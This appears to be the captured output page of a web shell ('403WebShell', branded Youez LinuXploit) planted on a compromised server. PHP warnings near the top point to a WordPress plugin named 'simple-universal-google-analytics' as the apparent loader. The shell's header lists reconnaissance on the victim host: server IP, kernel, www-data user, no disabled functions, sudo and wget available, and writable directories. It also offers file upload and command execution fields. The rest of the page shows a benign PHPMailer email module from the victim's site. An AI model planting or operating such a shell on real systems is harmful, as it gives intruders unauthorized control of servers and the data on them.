Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/patientapps_support/modules/emailPhpMailer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/patientapps_support/modules/emailPhpMailer/main.php
<?php

// Send email using the phpMailer class

namespace modules\emailPhpMailer;

class main extends \moduleMain {

	use \modules\config\traits {
			\modules\config\traits::__construct as __ConstructConfig;
		}

	public function __construct() {
		parent::__construct(__DIR__);
		$this->__ConstructConfig();
	}

	public function Activate() {
		$dir = __DIR__ . '/src';
		require_once "$dir/Exception.php";
		require_once "$dir/SMTP.php";
		require_once "$dir/PHPMailer.php";
		
		hook_add('email.send', [$this, '__send']);
		hook_add('email.transform', [$this, '__effect']);		// temp
	}
	
	
	public function __effect(&$mailobject) {		 // bold, italic, hollow
		if (is_object($mailobject)) {
//			$mailobject->Subject($this->transform($mailobject->Subject(), 0x1D400, 0x1D41A, 0x1D7CE));				// bold
//			$mailobject->Subject($this->transform($mailobject->Subject(), 0x1D538, 0x1D552, 0x1D728));		// double strike
			
		}
	}

	// http://xahlee.info/comp/unicode_math_font.html
	public function transform($text, $delta_uppercase, $delta_lowercase, $delta_numeric) {
		$result = '';
		for($i = 0; $i < strlen($text); $i++) {
			$ch = $text[$i];
			if (($p = strpos('CHNPQRZ', $ch)) !== FALSE && $delta_uppercase == 0x1D538) {
				$result .= $this->_utf8($this->_exception($p));
			} elseif ($ch >= 'A' && $ch <= 'Z') {
				$result .= $this->_utf8($delta_uppercase + ord($ch) - 65);
			} elseif ($ch >= 'a' && $ch <= 'z') {
				$result .= $this->_utf8($delta_lowercase + ord($ch) - 97);
			} elseif ($ch >= '0' && $ch <= '9') {
				$result .= $this->_utf8($delta_numeric + ord($ch) - 48);
			} else {
				$result .= $ch;
			}
		}
		return $result;
	}

	// characters that are out of place in the ut8 table:
	private function _exception($p) {
		$exceptions = [8450, 8461, 8469, 8473, 8474, 8477, 8484];
		return $exceptions[$p];
	}
	

	private function _utf8($num) {
		if($num<=0x7F)       return chr($num);
		if($num<=0x7FF)      return chr(($num>>6)+192).chr(($num&63)+128);
		if($num<=0xFFFF)     return chr(($num>>12)+224).chr((($num>>6)&63)+128).chr(($num&63)+128);
		if($num<=0x1FFFFF)   return chr(($num>>18)+240).chr((($num>>12)&63)+128).chr((($num>>6)&63)+128).chr(($num&63)+128);
		return '';
	}
	
	public function __send(&$result, $mailobject) {
		if ($result === NULL) {
		
			$settings = $this->SettingGet('config.module_info', NULL);
            
			if (isset($settings['replyto'])) {
				$rep = $mailobject->ReplyTo();
				if (!is_array($rep) || !count($rep)) {
					$mailobject->ReplyTo($settings['replyto']);
				}
			}

			$p = new \PHPMailer\PHPMailer\PHPMailer;
//			$p->SMTPDebug = 4;
			$p->Timeout = 30;
			$p->CharSet =\PHPMailer\PHPMailer\PHPMailer::CHARSET_UTF8;
			
			if (!empty($this->settings['smtp'])) {
				$p->Mailer = 'smtp';
				$host = $this->settings['smtp'];
				switch($this->settings['port']) {
					case 25:
						break;
					case 465:
						$host = 'ssl://' . $host . ':465';
						$p->SMTPSecure = 'ssl';
						break;
					case 466:
						$host = 'tls://' . $host . ':466';		// needs valid webserver cert installed in mail server
						$p->SMTPSecure = 'tls';
						break;
					case 587:
						$host = 'tls://' . $host . ':587';
						$p->SMTPSecure = 'tls';
						break;
				}
				$p->Host = $host;
				$p->SMTPAuth = TRUE;
				$p->Username = $this->settings['user'];
				$p->Password = $this->settings['pass'];
			}

			$count = 0;
			foreach($mailobject->to() as $item) {
				if ($item['name'] == '') {
					$p->addAddress($item['email']);
				} else {
					$p->addAddress($item['email'], $item['name']);
				}
				$count++;
			}
            
			foreach($mailobject->cc() as $item) {
				if ($item['name'] == '') {
					$p->addCC($item['email']);
				} else {
					$p->addCC($item['email'], $item['name']);
				}
				$count++;
			}
			foreach($mailobject->bcc() as $item) {
				if ($item['name'] == '') {
					$p->addBCC($item['email']);
				} else {
					$p->addBCC($item['email'], $item['name']);
				}
				$count++;
			}
			foreach($mailobject->from() as $item) {
                $p->setFrom($item['email']);
                break;
			}
            
            foreach($mailobject->ReplyTo() as $item) {
				if ($item['name'] == '') {
					$p->addReplyTo($item['email']);
				} else {
					$p->addReplyTo($item['email'], $item['name']);
				}
			}
			
			if (!$count) {
//				$result = FALSE;
				$result = "No destination specified for email";
				return;
			}
			
			$p->Body = $mailobject->body();
			$p->isHTML(true);
			$p->AltBody = $mailobject->text();
			$p->Subject = $mailobject->subject();
            $p->XMailer = ' ';      // no X-Mailer header
			if (!$p->Send()) {
				//$result = TRUE;
				$result = $p->ErrorInfo;
				error_log('Sendmail: ' . $result);
//				echo "Mail was not sent, error is: " . $p->ErrorInfo;
			} else {
                $result = FALSE;
//				echo "email sent";
			}
		}
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit